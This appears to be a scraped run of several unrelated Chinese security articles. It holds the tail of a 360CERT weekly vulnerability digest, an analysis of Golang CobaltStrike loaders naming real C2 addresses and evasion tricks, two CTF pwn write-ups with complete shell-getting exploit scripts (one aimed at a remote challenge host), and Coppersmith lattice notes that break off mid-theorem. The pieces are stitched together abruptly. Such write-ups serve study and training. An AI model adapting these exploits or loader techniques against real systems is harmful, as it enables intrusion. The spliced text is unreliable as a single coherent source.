陪审团做出的判决发现，被指控的VolodymyrKvashuk犯有18项重罪。其中包括5项电信欺诈指控，6项洗钱指控，2项严重身份盗窃指控，2项虚假纳税申报单指控，以及1项邮件欺诈、访问设备欺诈和访问受保护的计算机以促进欺诈的指控。
Kvashuk在2016年8月成为一名员工之前曾担任Microsoft承包商的工作。在该公司发现他的盗窃行为后，他于2018年6月被解雇。
**详情**
[Former Microsoft engineer sentenced to nine years in prison for stealing $10
million](https://www.zdnet.com/article/former-microsoft-engineer-sentence-to-nine-years-in-prison-for-stealing-10-million/)
### 微软发布了112个安全漏的洞修复程序
日期: 2020年11月11日
等级: 高
作者: Thomas Claburn
标签: Microsoft, Patch, Project Zero, Windows, Vulnerability
2020年11月10日，微软发布了112个软件漏洞的补丁，其中17个被评为严重漏洞。
受影响的Microsoft产品有15种，包括：MicrosoftWindows,Office,InternetExplorer,Edge(EdgeHTMLandChromium),ChakraCore,ExchangeServer,Dynamics,WindowsCodecsLibrary,AzureSphere,WindowsDefender,Teams,AzureSDK,AzureDevOps,和VisualStudio。
其中一个已修复的漏洞正在被积极利用，即Windows内核加密驱动程序漏洞(CVE-2020-17087)，由谷歌的ProjectZero在上月底披露。
**详情**
[Microsoft emits 112 security hole fixes – including the cure for a Google-disclosed vuln exploited in the
wild](https://www.theregister.com/2020/11/11/patch_tuesday_updates/)
### Windows 10、iOS、Chrome、Firefox等在天府杯比赛中被安全人员攻破
日期: 2020年11月09日
等级: 高
作者: The Hacker News
标签: Tianfu Cup, Pwn2Own
来自Adobe、苹果、谷歌、微软、Mozilla和三星的多款软件产品在2020天府杯(第三届国际网络安全竞赛)上获得了前所未有的成功。
天府杯与Pwn2Own类似，是在2018年开始举办的。此前，中国政府规定，出于国家安全考虑，禁止安全研究人员参加国际黑客竞赛。
奇虎360的企业安全和政府(ESG)漏洞研究所以744500美元的奖金排名第一，其次是蚂蚁金融光年安全实验室(25.8万美元)和安全研究员彭(9.95万美元)。
**详情**
[Windows 10, iOS, Chrome, Firefox and Others Hacked at Tianfu Cup
Competition](https://thehackernews.com/2020/11/windows-10-ios-chrome-firefox-and.html)
### 严重的权限提升漏洞导致Intel发布更新
日期: 2020年11月10日
等级: 高
作者: Lindsey O'Donnell
标签: Intel, Security Update, Vulnerability, AMT, Escalated Privileges
Intel2020年11月进行了一次大规模的安全更新，解决了众多产品中的漏洞，最值得注意的是，未经身份验证的攻击者可以利用这些严重漏洞来获得升级的特权。
这些严重存在于与无线蓝牙相关的产品中，包括各种IntelWi-Fi模块和无线网络适配器，以及其远程带外管理工具ActivemanagementTechnology(AMT)中。
总体而言，英特尔在2020年11月10日发布了40条安全公告，每条针对各种产品的严重，高危和中危漏洞。
**详情**
[Colossal Intel Update Anchored by Critical Privilege-Escalation
Bugs](https://threatpost.com/intel-update-critical-privilege-escalation-bugs/161087/)
### 世界上最大的Android电视中发现严重漏洞
日期: 2020年11月12日
等级: 高
作者: GURUBARAN S
标签: TCL, Android TVs, Vulnerability, Smart TVs
电视是娱乐、广告、新闻和体育的大众传媒。随着这项技术的出现，与Netflix、YouTube等应用程序一起提供的内置集成。TCL是全球第三大电视制造商，击败了众多值得关注的竞争对手。
近日，研究人员在一份安全报告中发现，TCLAndroid电视存在多个严重漏洞。
**详情**
[Critical Vulnerabilities Discovered in World’s Largest Android
TVs](https://gbhackers.com/critical-vulnerabilities-discovered-in-worlds-largest-android-tvs-manufacturer/)
### Google解决了两个新的Chrome 0day漏洞
日期: 2020年11月12日
等级: 高
作者: Pierluigi Paganini
标签: Google, Chrome, Zero Day, Vulnerability
Google发布了Chrome版本86.0.4240.198，该版本解决了另外两个在野利用的0day漏洞。
这个IT巨头在短短三周内就修复了5个Chrome0day漏洞。 匿名来源报告了两个0day漏洞，分别跟踪为 `CVE-2020-16013` 和
`CVE-2020-16017` 。 `Google` 专家没有透露攻击中利用这些漏洞的方式。
**详情**
[Google addresses two new Chrome zero-day
flaws](https://securityaffairs.co/wordpress/110793/hacking/google-chrome-zero-day-flaws.html)
### Bug hunter因DOD账户接管漏洞获得“月度最佳研究员”奖
日期: 2020年11月09日
等级: 中
作者: Catalin Cimpanu
标签: DOD, Vulnerability, Takeover, Hijack Account
美国国防部已经修复了一个严重影响其内部网络的漏洞，该漏洞允许攻击者通过修改发送到国防部服务器的web请求中的一些参数来劫持国防部账户。
该漏洞是由美国安全公司SilentBreach的安全研究员JeffSteinburg发现的，并通过美国国防部漏洞披露计划(VDP)进行了私下报告和补丁。
这个问题的严重程度被评为“严重(9~10)”，因为这个漏洞劫持攻击者能够攻击任何国防部帐号。
尽管该漏洞是研究人员的第一篇DODVDP报告，但所报告问题的严重性使Steinburg获得了DOD的“月度最佳研究员”奖。
**详情**
[Bug hunter wins ‘Researcher of the Month’ award for DOD account takeover
bug](https://www.zdnet.com/article/bug-hunter-wins-researcher-of-the-month-award-for-dod-account-takeover-bug/)
### 更新Windows 10以修补Microsoft Store游戏中的漏洞
日期: 2020年11月10日
等级: 中
来源: HACKREAD
标签: CVE-2020-16877, Windows Server, Windows 10
CVE-2020-16877漏洞影响了WindowsServer和Windows10，该漏洞是一个高严重性特权升级漏洞。
IOActive网络安全研究人员披露，Windows系统存在一个特权升级漏洞，可以通过滥用上传到微软商店的游戏来加以利用。
该漏洞编号为CVE-2020-16877，等级为严重。它主要影响Windows10和WindowsServer。
**详情**
[Update Windows 10 to patch vulnerability in Microsoft store
games](https://www.hackread.com/update-windows-10-microsoft-store-games-vulnerability/)
### EA Games的Origin客户端包含特权升级漏洞
日期: 2020年11月10日
等级: 中
作者: Gareth Corfield
标签: EA Games, Origin Client, Privilege Escalation, Botnet
一家英国的信息安全机构在EAGames的Origin客户端中发现了特权升级漏洞。
该漏洞可能使已接通电源的攻击者获得主机设备上的系统特权，进而使主机暴露于更高级的漏洞中，例如将其转变为僵尸网络的一部分，或安装恶意软件以削弱本地用户的信誉卡详细信息，或者您可以想象犯罪分子可能会用一台刚被盗用的机器做的任何其他事情。
**详情**
[EA Games’ Origin client contained privilege escalation vuln that anyone with
user-grade access could
exploit](https://www.theregister.com/2020/11/10/ea_games_origin_privesc_vuln_nettitude/)
### 现在修补的Ubuntu桌面漏洞允许权限提升
日期: 2020年11月11日
等级: 中
作者: Tim Anderson
标签: GitHub, Ubuntu, Vulnerability, GUI, Patch
GitHub安全研究员KevinBackhouse发现了Ubuntu20.04（一个长期支持版本）中的漏洞，该漏洞使任何桌面用户都可以获得root用户访问权限，漏洞现已修复。
该漏洞仅影响桌面用户，并且需要访问GUI，因此在大多数情况下很难利用。也就是说，如果安装了桌面并且用户具有一定级别的访问权限，则
`UbuntuServer` 原则上可能会很容易受到攻击。 根据Ubuntu的注释，从16.04LTS到最新的10.10的所有发行版都将受到影响。
**详情**
[Now-patched Ubuntu desktop vulnerability allows privilege
escalation](https://www.theregister.com/2020/11/11/ubuntu_desktop_vulnerability_allows_privilege/)
### **相关安全建议**
1. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
2. 及时对系统及各个服务组件进行版本升级和补丁更新
## 0x06 产品侧解决方案
### 360城市级网络安全监测服务
360CERT的安全分析人员利用360安全大脑的QUAKE资产测绘平台(quake.360.cn)，通过资产测绘技术的方式，对该漏洞进行监测。可联系相关产品区域负责人或(quake#360.cn)获取对应产品。
### 360安全分析响应平台
360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段，对网络攻击进行实时检测和阻断，请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。
### 360安全卫士
针对以上安全事件，360cert建议广大用户使用360安全卫士定期对设备进行安全检测，以做好资产自查以及防护工作。
## 0x07 特制报告下载链接
一直以来，360CERT对全球重要网络安全事件进行快速通报、应急响应。为更好地为政企用户提供最新漏洞以及信息安全事件的安全通告服务，现360CERT正式推出安全通告特制版报告，以便用户做资料留存、传阅研究与查询验证。
用户可直接通过以下链接进行特制报告的下载。
[《安全事件周报 (11.09-11.15)》](http://pub-shbt.s3.360.cn/cert-public-file/%E3%80%90360CERT%E3%80%91%E5%AE%89%E5%85%A8%E4%BA%8B%E4%BB%B6%E5%91%A8%E6%8A%A5_11%E6%9C%8809%E6%97%A5-11%E6%9C%8815%E6%97%A5.pdf)
若有订阅意向与定制需求请发送邮件至 g-cert-report#360.cn ，并附上您的 公司名、姓名、手机号、地区、邮箱地址。
## 0x08 时间线
**2020-11-16** 360CERT发布安全事件周报 **** __ __ | 社区文章 |
# Hvv样本合集分析（二）- Golang恶意样本分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
由于golang的跨平台性，以及golang框架的复杂性所带来的免杀效果，现在越来越多的攻击者/红队开始使用golang开发恶意样本，这里做一个小结，记录下
此文章总结了hvv期间攻击者利用golang加载cs的一些样本，故也可以称之为“CobaltStrike的多种加载方式”
样本基本都来源于微步社区，确定为hvv期间攻击队使用样本。
## 样本分析
### golang反调试
还原golang符号之后，在main_main入口的地方看到有一个main_sandbox_CheckForPass函数，很明显这是一个检测虚拟环境的函数。
该函数里面的第一个函数checkThreadBook疑似判断是否在微步沙箱中：
此外，程序还有可能进行CPU检查、内存检测、启动检测、启动时间检测等
若经过检测代码运行在虚拟环境中，程序则会直接退出：
手动调试之后，将这个验证过掉，然后F9运行，同时监控该文件行为
程序在tmp目录下释放并加载了两个PE，其中_install.exe是恶意模块，TencentMeeting是带有签名的正常腾讯会议安装包。
程序加载恶意模块的时候同时会启动腾讯会议的安装包以迷惑用户：
恶意模块依旧由golang编译而成，和第一层的Dropper类似，该组件执行时也会先进行虚拟环境检测：
接着解码一段base64的数据得到后续的shellcode
重新开辟内存空间，并将解密之后的shellcode拷贝过去：
解密后的shellcode是CobaltStrike的远控模块，直接尝试在shellcode头部设置执行断点，成功命中：
开辟内存空间，填充shellcode之后修改该片内存的可执行属性
解密多个C2循环请求
关于CobaltStrike远控模块的详细分析，可以参考笔者之前的文章。
### golang加载CS
087b3490d320adb9d719139dd521e934
WeChat1.exe
原始样本由golang编写，样本运行后，首先将会解析并请求一个干净的地址：<http://www.shibor.org/shibor/web/DataService.jsp>
以判断网络是否连通：
循环请求该地址，直到请求成功才会跳转到后面执行：
若请求成功，程序则会将预定义的base64字符串作为参数传递到main_build中，并且在该函数中解码加载该段base64字符串
解码之后的shellcode由CobaltStrike生成，请求C2：www.microport.com
### golang白加黑
23aaa6e9c289f61737e12671c70a098a
五一劳动节职工福利名单(1)(1).zip
一个比较经典的golang加载器，原始程序为压缩包，内含了一个exe文件和两个”jpg”文件，且在hvv一开始，就同时被传到了微步和vt，可以说是打响了hvv的第一枪。
压缩包解压之后可见exe文件仿冒了WORD图标
通过十六进制查看工具可知这里的两个jpg文件实则都是PE文件
五一劳动节职工福利名单.exe运行之后，首先会判断
[c:/windows/tapi/crashreport.dll](/windows/tapi/crashreport.dll)
是否存在，若存在则说明已经感染，若不存在，则会分别将当前目录的name.jpg和name2.jpg拷贝为yyexternal.exe和crashreport.dll
通过搜索引擎可知yyexternal.exe为YY客户端程序，这里很明显是一个白加黑的执行逻辑
程序在将文件拷贝到tapi目录下并重命名之后，则会加载yyexternal.exe，由该程序去调用恶意dll
在白exe加载该恶意dll时，会调用名为 InitBugReport 的导出函数：
在InitBugReport函数中，首先会从byte_100277A8开始的地方，步长为4取值赋值给esi所指的内存，取出来的数据总长度为0x0f97
将待解密的数据取出来之后，程序将会对前0x7cc的数据进行异或计算，然后开辟一个7cc的内存空间，将解密之后的shellcode拷贝过去，最后通过call
eax的方式加载到shellcode中执行。
调试器加载YY主程序，并直接对LoadLibrary设置断点，找到加载crashreport.dll的地方
返回回来找到InitBugReport函数的入口点并F7进入
成功解密shellcode，这里可以看出来是CobaltStrike的shellcode
连接C2并尝试从C2下载后续cs远控组件实现对用户主机的完全控制。
### golang硬编码
c54eb668cf76a37bf28f95c173770adf
skylarinst-winc(10.199.1.19_80).exe
样本最早由4月2日上传到微步社区，应该属于hvv开始前的试探
此样本依旧由golang编写，逻辑较为简单，在入口点，程序会将rdata段的部分数据拷贝过来，将其转换为byte之后再格式化为hex数据
拷贝过去的数据其实就是cs payload的hex形式，攻击者将其编码为了字符串并存储在文件中以躲避检测
直接将这部分数据拷贝出来解码即可到的完整的cs shellcode，并且在末尾看到C2：149.248.18.93
虽然该样本比较简单，但是根据微步的信息，可知样本最开始上传到VT的时候，报毒是很少的，不过各大厂商都比较给力，及时补充了查杀特征，笔者根据cs的加载方式，关联到了一个类似的恶意样本：131e4a3511e4e8e5f9436da4d45484d6，该样本最近才上传，但是VT查杀已经较多。
不同的是，此样本用了cdn进行通信，暂时无法确定此类加载是统一框架生成还是同一个攻击者/队伍使用 | 社区文章 |
# 津门杯线下AWD hpad Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## hpad
### 题目一览
程序实现了三种堆块模式，对应着三种不同的申请模式。
并且选择一种模式后，再也无法返回到这一层菜单，因此我们无需考虑到程序的联动操作，而是可以把题目分成三部分来单独分析。
他的实现比较复杂，这里主要提及我所发现的漏洞——来自功能3。
本文虽然是主要分析第三种管理方式，也暂时还没有发现其他管理方式存在的漏洞，但是建议各位读者也研究一下其代码，提升一下自己的代码分析能力。
这道题的Libc版本是: 2.31-0ubuntu9.2_amd64
### 修正Switch跳转表
在分析前，可以注意到IDA伪代码没能够成功识别出程序中的switch语句，我相信各位在之前的逆向分析过程中，也遇到过这样的问题，这里提供一种我的解决方法。
IDA这样显示的主要原因就是因为没有识别出这段switch结构中所用的跳转表
大概是因为IDA官方也知道自己的程序对于某些switch的识别存在问题，所以提供了一个自带的工具（Specify switch
idiom）让我们来辅助IDA完成识别
这一段内容的配置大家需要结合代码内容进行设置，我这里就不花大的篇幅来讲如何配置。
以下是我的配置内容，读者可以参考一下
###
## 漏洞分析
稍微调整符号并配置识别Switch跳转表这对于我们分析功能提供了许多的便利。
在这部分代码中，我们很容易的就可以看到当我们输入666的时候可以跳转到程序的backdoor函数，这一般都是必须会用到的重要功能，一般这个函数的内容可以辅助我们找到程序的漏洞的大致方向。
### backdoor函数
这个函数的内容函数比较清晰的
backdoor
函数实际上在做的就是读取8个字节的随机数，然后把随机数使用encode函数进行加密，并且输出加密后的内容，要求你回答加密前的内容并进行校验。
如果回答正确就可以获得一个free_list的地址，这个地址存放在bss段上，我们也可以借此来泄露出PIE基址。
### encode函数
所以我们现在需要来分析encode函数的操作内容
这个encode函数实际是提供了一个复杂的方程，我一眼也看不出什么端倪来。
所以在比赛过程中，使用z3来解决这个问题应该是比较好的选择
这部分内容，我在比赛过程中卡了好一段时间，问题就出在了题目是使用逻辑左移和逻辑右移，但是如果把上述代码直接复制到z3中，z3默认的右移操作符（>>）对应的是算数右移，因此就导致了计算的误差，最终无法计算出正确的结果。
在比赛过程中是小蓝蓝师傅帮助解决的（orz），我因为对这部分内容不够了解，甚至打算使用莽夫的方式，不断爆破攻击，直到一次计算出有解。
但是爆破攻击会浪费的时间会特别多，同时这对于批量攻击脚本的编写也是一种挑战。因此我在这里想要稍微的介绍一下这部分知识。
**逻辑右移和算数右移**
以下用 移动1位操作来说明这三种移位方式的不同处，移动n位的操作以此可推
逻辑左移：所有位往左移动1位，直接丢弃最高位，在最低位补0
逻辑右移：所有位往右移动1位，直接丢弃最低位，在最高位补0
算数右移：所有位往右移动1位，直接丢弃最低位，如果是负数，最高位（符号位）补1；如果是正数，最高位（符号位）补0
根据上面的操作可以看出，在无论正负的情况下，符号位不会影响到左移操作，因此左移与有无符号无关，操作都是使用逻辑左移。
**汇编方面：**
逻辑左移：`shl`
逻辑右移：`shr`
算数右移：`sar`
**Z3 Python操作符：**
有符号 | 无符号
---|---
< | ULT
<= | ULE
> | UGT
>= | UGE
/ | UDiv
% | URem
>> | LShR
<< | <<
**Solver脚本**
solver = Solver()
a1 = BitVec('a1', 64)
v1 = (LShR((a1 ^ (32 * a1)), 13)) ^ a1 ^ (32 * a1)
solver.add((LShR((v1 ^ (v1 << 29)), 15) ^ v1 ^ (v1 << 29)) == int(q, 16))
solver.check()
ans = solver.model()
sh.send(p64(ans[a1].as_long()))
### 漏洞1
这道题是先使用mmap申请一块0x1000长度的空间，然后自主管理这段空间，而问题也在于这个0x1000是有限的长度，是会被分配干净的，程序并没有做分配完之后的相关逻辑操作。
因此也导致了漏洞的存在，漏洞就在于以下代码中（0x0000000000001890）
简单的来说就是，没有判定 **将要申请的长度是否大于现有的剩余空间**
，这就会造成当前申请出来的堆块，而可能实际空间没有那么多。也就是在读入数据的过程中，可能会超出mmap申请的0x1000长度，从而引发错误，这个错误会造成读入失败，但是具体会发生什么，我们不得而知。
### 漏洞2
看到了上面的漏洞之后，也算是有了个大概的方向，我们想办法能够触发这个漏洞，那接下来需要分析的就是read_content函数（0x00000000000014C0）
这个漏洞相当的隐蔽，也需要足够的逻辑分析能力才能找到。
漏洞就在以上代码中，读者可以尝试着先观察一下，思考在什么情况下这段代码会存在问题。
没错，当read函数内部出现错误，也就是返回了0xFFFFFFFFFFFFFFFF的时候，这段代码就存在问题。
也就是说，在代码中的read_size = -1时，就会执行 i += read_size（i = i –
1），让读取的位置往回走1个字节，这样我们就可以从预期指针之上开始读取数据，就达到向上溢出的目的。
同时，这段代码在一般的错误的时候可能就会陷入一个死循环（一直产生异常），但是在这题中，配合了上面的漏洞，且两者结合起来，最后却能够巧妙的利用！
但是我们不知道在这个read读取超过了mmap申请的size之后会发生什么，于是我猜测：
**这个错误在read函数内会被处理，并且返回-1，同时仍然记录着本次的输入，等待下一次再次调用read的时候读入这部分的内容。**
并且编写以下代码来验证以上的猜想
#include <sys/mman.h>
#include <stdio.h>
#include <memory.h>
int main(int argc, char *argv[])
{
char *m;
m = (char *)mmap(0x20000000, 0x1000, 3, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if (m == MAP_FAILED)
{
perror("map mem");
m = NULL;
return 0;
}
int num1 = read(0, m + 0xFF0, 0x100);
printf("%d\n", num1);
int num2 = read(0, m, 0x100);
printf("%d\n", num2);
munmap(m, 0x1000);
return 0;
}
我们输入内容 ‘a’ * 0x10 + 换行 的时候，程序给出的运行结果是
wjh@ubuntu:~/Desktop$ ./a.out
aaaaaaaaaaaaaaaa
-1
17
和预想的结果一致，证明我们的猜想是正确的
注意：读者在使用gdb调试的时候，第一次read读入失败的内容会被gdb的输入命令窗口吞掉，所以就不会被读入到第二次read中了，所以可能会在第二个read处等待输入。
### 结合利用
在程序的malloc函数中，我们发现有一个函数会遍历释放的堆块链表，并且从链表头部依次往下寻找，直到找到一个和申请size相同的释放堆块就返回，如果没找到就会从剩余空间中申请。
而我们通过这两个漏洞的结合，就得到了一个向上溢出的机会，我们可以利用这个链表， **向上溢出到Remove堆块后的堆块链上的指针**
，并且指向bss段上来记录堆块地址的空间，因为得到这一段空间就相当于得到了任意读写权限。
而我们如果要申请出这一段空间，那么首先要符合的要求就是size相同，我们这里考虑利用程序在初始化中的\x7f来作为size标志（就像绕过fastbins
size check一样），这样在我们申请0x68大小的堆块的时候，就可以取出我们伪造的堆块。
### 任意读写后的攻击方法
有了任意读写权限后，接下来应该就有很多种做法了。
因为程序没有用到glibc中的堆，所以打 **malloc_hook和** free_hook是不可取的。
并且程序使用exit退出，也无法使用IO_FILE来打。
我们这里可以考虑用exit hook 或者修改栈的方式，但是由于程序有edit只能修改0x10字节的限制，所以两种方法都会比较麻烦一些。
## EXP
我的exp用的是使用泄露栈地址，再构建rop的方式来getshell。
EXP中包含了我修改后的LibcSearcher库，用来解决我平时在使用LibcSearcher过程中遇到的问题，我就暂时叫他LibcSearcherEx吧。
详细介绍和安装见：[https://github.com/wjhwjhn/LibcSearcher](https://github.com/wjhwjhn/LibcSearcher?fileGuid=RdHjDGYdjVkjG6xC)
from pwn import *
from LibcSearcher import *
from z3 import *
elf = None
libc = None
file_name = "./hpad"
def get_file():
global elf
context.binary = file_name
elf = context.binary
def get_libc():
global libc
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.3)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
else:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
if stop:
raw_input()
def heapbase(sh):
if args['REMOTE']:
return 0
infomap = os.popen("cat /proc/{}/maps".format(sh.pid)).read()
data = re.search(".*\[heap\]", infomap)
if data:
heapaddr = data.group().split("-")[0]
return int(heapaddr, 16)
else:
return 0
def libcbase():
if args['REMOTE']:
return 0
infomap = os.popen("cat /proc/{}/maps".format(sh.pid)).read()
data = re.search(".*libc.*\.so", infomap)
if data:
libcaddr = data.group().split("-")[0]
return int(libcaddr, 16)
else:
return 0
def Attack(sh=None, ip=None, port=None):
pwn(sh)
flag = get_flag(sh)
return flag
def set_libc():
os.system('patchelf --set-interpreter libc/ld.so --set-rpath libc/ ' + file_name)
def choice(sh, idx):
sh.sendlineafter("Choice", str(idx))
def add(sh, size, content):
choice(sh, 1)
sh.sendlineafter("Size:", str(size))
sh.sendlineafter("Content:", content)
def delete(sh, idx):
choice(sh, 3)
sh.sendlineafter("Index: ", str(idx))
def show(sh, idx):
choice(sh, 2)
sh.sendlineafter("Index: ", str(idx))
def edit(sh, idx, content):
choice(sh, 4)
sh.sendlineafter("Index: ", str(idx))
if len(content) < 0x10:
content += '\n'
sh.sendafter("Content:", content)
def pwn(sh):
global libc, elf
context.log_level = "debug"
# get_libc()
# get_file()
choice(sh, 3)
choice(sh, 666)
sh.recvuntil('question: ')
que = sh.recvuntil('\n')
q = hex(int(que))
solver = Solver()
a1 = BitVec('a1', 64)
v1 = (LShR((a1 ^ (32 * a1)), 13)) ^ a1 ^ (32 * a1)
solver.add((LShR((v1 ^ (v1 << 29)), 15) ^ v1 ^ (v1 << 29)) == int(q, 16))
solver.check()
ans = solver.model()
sh.send(p64(ans[a1].as_long()))
sh.recvuntil('0x')
pie_addr = int(sh.recvuntil('\n', drop=True, timeout=1), 16) - 0x6140
if pie_addr == 0:
raise EOFError
log.success("pie_addr:\t" + hex(pie_addr))
add(sh, 0xF00, "a") # 0
add(sh, 0x40, "b") # 1
add(sh, 0x40, "c") # 2
delete(sh, 1)
delete(sh, 2)
add(sh, 0x100, p64(0x50) + p64(pie_addr + 0x6125) + '\x00' * (0x90 - 1)) # 1
add(sh, 0x40, "d") # 2
add(sh, 0x60, '\x00' * 0x2B + p64(pie_addr + 0x5f28) + p64(pie_addr + 0x6170)) # 3 got@free
#leak libc
show(sh, 0)
free_addr = get_address(sh, True, info="free_addr:\t")
libc = LibcSearcher('free', free_addr, 2)
edit(sh, 1, p64(libc.sym['__environ']))
#leak stack_addr
show(sh, 2)
stack_addr = get_address(sh, True, offset=-0x150, info="ret_addr:\t")
pop_rdi_addr = pie_addr + 0x2C93
edit(sh, 1, p64(stack_addr) + p64(stack_addr + 0x10))
edit(sh, 3, p64(pop_rdi_addr + 1) + p64(libc.sym['system']))
# get_gdb(sh, "b *" + hex(pie_addr + 0x000000000001C88))
edit(sh, 2, p64(pop_rdi_addr) + p64(libc.sym['str_bin_sh']))
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh)
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
## 总结
这道题不算是这次比赛中最难的题目，但是其利用的精妙以及两个漏洞的结合利用令我受益匪浅。这两个漏洞，单独拿出一个来都不足以达到getshell的效果，但是两者结合居然有如此强大的威力。结合这几次的AWD或AWDP比赛可以发现，现在PWN题目对RE的要求已经是越来越高了，希望读者可以仔细的研究这道题的代码逻辑，以求在比赛中可以快速的解题。（在比赛中我就没做出来55555，希望下次能够给力一点！） | 社区文章 |
<https://hackme.inndy.tw/scoreboard/>
题目很有趣，我做了smashthestack这个题目感觉还不错，我把wp分享出来，方便大家学习
smashthestack的要求是：
nc hackme.inndy.tw 7717
Tips: stderr is available, beware of the output
这个题目提示利用错误输出
下面我用ida打开smashthestack这个程序看main函数
可以看到这个程序很简单，你输入一些东西如果不会造成缓冲区溢出的话就会把栈中的数据打印出来
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护：
看到NX
enabled是开启了栈不可执行，而且这个程序还有canary保护，但是明显的是flag已经被读入了内存，在网上找到了dragonsector写的一个pdf：<http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf，知道了当__stack_check_fail时，会打印出正在运行中程序的名称，所以，我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来>
首先找flag的地址，在程序的读完文件的地方下断点0x08048434
执行完read指令之后在ecx中发现flag的地址为：0x804a060
知道这样的地址之后，就可以写exp了
#!/usr/bin/env python
# -*- coding: utf-8 -*- __Auther__ = 'niexinming'
from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x80484a5'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
#fd:0x804a060
#io = process('/home/h11p/hackme/smash-the-stack')
io = remote('hackme.inndy.tw', 7717)
#payload = p32(0x804a060)+p32(0x120)
payload=p32(0x1)+"a"*184+p32(0x804a060)
#debug()
io.recvuntil('Try to read the flag\n')
io.send(payload)
io.recvall()
#io.interactive()
io.close()
效果是： | 社区文章 |
# 密码学学习笔记之Coppersmith’s Method
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这一块咕咕咕了好久，暑假了，终于才有时间去细究coppersmith背后的原理。
## 前言
还记得自己刚入门CTF后打的第一个相对比较大的比赛就是2019届的强网杯，那个时候密码学就有一道copperstudy的题目。对于刚入门时来说，觉得那道题简直就是（无法形容）。后来才知道原来里面的每一关都可以在github上找到相应的脚本。但是当我想去找原理的时候，却发现，，，找不到。所以也才有了这篇文章。
### Coppersmith’s Method
首先看看Coppersmith’s Method这玩意儿能干啥。简而言之，就是有一个函数，比如F(x) = x^3+x+123，然后有一个模数，比如 M
= 77，然后假设存在一个x0 满足F(x0) ≡ 0 (mod M), 并且如果这个x0小于某个特定的值，那么就可以用Coppersmith’s
Method去找到这个x0。【PS：想要实现这个手法还是需要掌握一点格基规约的相关知识的（至少知道格基规约是干啥的，结果输出的是啥）】
总的来说，如果能将M分解，那么找到这个x0是容易的，用一个中国剩余定理即可；否则就是困难的。对应的，如果我们能够找到一个解满足x^2 ≡ 1 (mod M)
并且这个x不等于±1 (mod M)，那么我们用一个GCD就能将这个M给分解。具体可参看[二十年以来对 RSA
密码系统攻击综述](https://paper.seebug.org/727/)一文。因此，我们并不希冀于有一个有效的算法对于所有这样的同余式都能找到解，否则也就意味着大数分解问题破解了。
既然不能对所有的同余式都能找到解，那能找到解的条件是啥呢？对于度为d的多项式F(x)，如果x0满足F(x0) ≡ 0 (mod M) 并且|x0|<
M^{1/d-ε}，那么这个解x0就能在多项式时间内被找到。
#### First Steps to Coppersmith’s Method
首先我们有在模M下的度为d的并且系数为整数的一个首一多项式：
【如果多项式不是首一的，我们整体的系数乘上一个a{d}（x^d的系数）在模M下的逆元即可，如果a{d}在模M没有逆元，那这条同余式可以拆成同余式组，但这并不是这篇文章讨论的重点】假设我们知道存在一个整数x_0满足F(x0)
≡ 0（mod M ） 并且
|x0|<M^{1/d}，我们的任务就是找到这样的x0。我们想，如果有这样一条多项式G(x)，他的解也是x0。但是他的系数很小，导致x0可以满足G(x0)=
0【注意这里是等号，不是同于号】Coppersmith’s Method就是想办法去将这个F(x)变形为成为这样的G(x)。
##### example 1
假设M=17 * 19=323，F(x)=x^2+33x+215,我们想找到一个小根x0满足F(x0)≡ 0 (mod
M)【这里的x0=3，但是在整数域下，F(3)!=0 】
我们可以找到一个多项式G(x) = 9 * F(x) – M * (x+6) = 9x^2 – 26x-3
满足G(3)=0，这个解可以直接用求根公式得到，如果次数比较大，也可以用牛顿迭代法。
好了，这就是一元Coppersmith’s Method核心思路了，其实一点也不难的吼。
接下来主要是对这个x0的界的一些讨论以及如何尽量的提高这个界的一些手法。
我们定义X为这个|x0|取值的上界，
然后我们将F(x)表示为一个行向量b=(a0, a1X, a2X^2 ,…, adX^d)
##### Theorem 1(Howgrave-Graham)
首先我们有F(x), X, M, b这几个上面提到的值
也有F(x0) ≡ 0 (mod M)
